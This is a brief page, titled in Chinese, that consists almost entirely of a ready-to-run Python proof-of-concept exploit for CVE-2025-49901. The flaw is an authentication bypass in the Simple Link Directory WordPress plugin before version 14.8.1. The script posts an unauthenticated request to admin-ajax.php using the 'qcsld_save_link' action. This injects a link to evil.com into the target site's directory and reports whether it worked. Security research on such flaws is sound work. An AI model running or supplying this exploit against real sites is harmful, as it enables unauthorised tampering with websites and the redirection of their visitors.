CVE-2025-49901：Simple Link Directory插件认证绕过漏洞

# CVE-2025-49901 - Simple Link Directory Authentication Bypass PoC # Vulnerability: Authentication Bypass Using an Alternate Path or Channel # Affected: qc-simple-link-directory < 14.8.1 import requests TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-admin/admin-ajax.php" # Exploit: Send unauthenticated request to bypass authentication # The plugin fails to properly verify user capabilities on certain AJAX actions def exploit_auth_bypass(target_url): """ Exploit authentication bypass in Simple Link Directory plugin. The vulnerability allows accessing privileged functionality without authentication. """ # Step 1: Target the AJAX endpoint that handles plugin operations ajax_url = f"{target_url}{PLUGIN_PATH}" # Step 2: Craft request to bypass authentication check # The plugin's authentication logic can be bypassed through alternate path payload = { 'action': 'qcsld_save_link', # Privileged action without proper auth check 'link_title': 'Malicious Link', 'link_url': 'http://evil.com', 'link_description': 'Injected via auth bypass', 'category_id': '1' } # Step 3: Send request without any authentication cookies or nonces headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SecurityResearch)', 'X-Requested-With': 'XMLHttpRequest' } response = requests.post(ajax_url, data=payload, headers=headers) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Authentication bypass successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False if __name__ == "__main__": exploit_auth_bypass(TARGET_URL)